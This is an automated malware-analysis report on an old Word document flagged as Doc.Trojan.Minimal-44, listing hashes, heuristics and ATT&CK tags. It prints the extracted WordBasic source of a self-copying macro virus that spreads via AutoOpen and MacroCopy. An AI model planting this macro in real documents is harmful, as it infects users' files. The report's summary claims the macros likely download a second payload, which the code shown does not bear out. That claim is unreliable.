Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ea0c3f70f1bce3b…

MALICIOUS

Office (OLE)

30.0 KB Created: 1999-05-09 19:23:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cb381a9d965037c130aedac501c7856e SHA-1: d0e394ccbfb87ebc6dd1e278897bb0a0f1c0187f SHA-256: 2ea0c3f70f1bce3b50943e7087af2f225ed5c67b125e7cd30959d06ebfe644c8
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a legacy Word document containing VBA macros, specifically an AutoOpen macro. This macro is designed to copy itself and potentially another macro named 'AutoClose' to the current document, indicating an attempt to execute malicious code. The presence of AutoOpen and AutoClose macros strongly suggests the intent to download and execute a secondary payload, a common tactic for malware distribution.

Heuristics 5

  • ClamAV: Doc.Trojan.Minimal-44 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-44
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 573 bytes
SHA-256: 4b22d9c1b4acaf209085a744ba864c002479fef87d8438521aec70e523ec21ca
Detection
ClamAV: Doc.Trojan.Minimal-44
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim A$
Dim B$
Dim C$
Dim D$
D$ = WordBasic.[FileName$]()
B$ = ":AutoOpen"
A$ = D$ + B$
C$ = "AutoClose"
On Error Resume Next
WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy C$, A$
WordBasic.MacroCopy A$, B$
WordBasic.FileSave
End Sub